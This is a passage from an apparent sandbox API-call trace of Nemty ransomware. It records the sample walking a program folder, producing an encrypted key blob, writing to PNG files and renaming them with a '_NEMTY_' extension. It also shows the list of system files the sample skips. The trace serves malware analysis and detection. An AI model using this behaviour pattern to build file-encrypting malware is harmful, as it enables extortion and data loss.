lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0083.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345608, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0083.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0083.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0083.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0083.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0083.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6345640, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 33 [0083.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0083.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340048 [0083.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0083.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340110 [0083.911] Sleep (dwMilliseconds=0x5) [0083.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5abaa30, dwHighDateTime=0x1d561e7)) [0083.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5abaa30, dwHighDateTime=0x1d561e7)) [0083.926] GetLastError () returned 0x5 [0083.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0083.926] GetLastError () returned 0x5 [0083.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0083.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0083.926] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0083.926] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0083.926] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0083.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63401d8 [0083.926] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63401d8, pcchString=0x653e91c | out: pszString="RpVID3/mTrEmWg4FWbnqFSZCGId7VJNvp9QkPrQBhg9fYFYBHDa24Rkg7LE4W3Hj\r\nkUNiB8hfyjdXn7yc/Q9O+bhOUVjkX4Vetv9RyQWmzgTmSKOXlz4w/xZv+qKfPraL\r\nJPurDkePPShnjaZ/yCL+D4/oDNdmwW8ol800ZZKFwztgkow8LS0yXqdjHcSZ4g7c\r\n8CrJEO8yrbMnCK0dpmyk2AoU0WdoJ3Fd2QZZt3fUOcmHTqPSH4SnCHodJ3Z+wIcs\r\nKr6CjYYzV9oeBTucUgcmRoxZCN99bsWFAaJGSobG2H3G4IcLeaXsBb8bramGwAak\r\niWlCHg+YDCVnB26l7RlcGA==\r\n", pcchString=0x653e91c) returned 1 [0083.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0083.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0083.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0083.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0083.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63401d8 [0083.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0083.926] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0083.927] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0083.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0083.927] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.927] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.936] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.936] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.946] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.946] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.946] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.956] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.965] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.965] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.965] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.974] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.974] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.975] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.984] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.984] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.984] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.993] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.993] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.993] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.003] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.003] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.003] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.019] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.019] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.020] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.029] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.029] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.029] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.035] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.035] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.035] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0084.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.041] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0084.041] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63401d8, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0084.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0084.041] CloseHandle (hObject=0xffffffff) returned 0 [0084.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340348 [0084.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0084.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0084.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0084.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0084.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0084.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340410 [0084.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0084.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340410 | out: hHeap=0x4f90000) returned 1 [0084.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0084.042] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationRight_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\navigationright_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0084.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0084.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340348 | out: hHeap=0x4f90000) returned 1 [0084.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0084.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401d8 | out: hHeap=0x4f90000) returned 1 [0084.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0084.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0084.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0084.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340110 | out: hHeap=0x4f90000) returned 1 [0084.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0084.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.042] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0084.042] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0084.042] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0084.042] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="...") returned 1 [0084.042] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="windows") returned -1 [0084.042] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0084.042] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="rsa") returned -1 [0084.042] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0084.042] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0084.042] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0084.042] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0084.042] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0084.043] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0084.043] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0084.043] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0084.043] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0084.043] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0084.043] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0084.043] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0084.043] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0084.043] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="programdata") returned -1 [0084.043] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="appdata") returned 1 [0084.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0084.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0084.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0084.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f94378 [0084.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0084.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0084.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0084.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94378 | out: hHeap=0x4f90000) returned 1 [0084.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0084.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0084.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0084.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0084.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345608, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0084.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0084.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0084.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0084.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0084.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6345640, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 39 [0084.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0084.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340110 [0084.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0084.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63401e8 [0084.044] Sleep (dwMilliseconds=0x5) 